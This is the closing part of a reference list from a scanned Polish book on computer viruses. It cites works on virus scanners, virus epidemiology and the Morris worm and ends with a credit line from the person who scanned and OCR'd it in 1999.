34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst.
35. Epidemiology and Computer Viruses Alan, Solomon 1990.
36. Viriology 101.
37. Anthony Naggs CAROBASE Format Reference revised edition 1993.
38. Donn Seeley A Tour of the Worm Department of Computer Science, University of
Utah.
--------------- info ------------------
orginal book "Wirusy" by Adam Blaszczyk
scanned and ocr'ed by misha [cp'99]
misha@vc.pl. 1999.06.08
---------------------------------------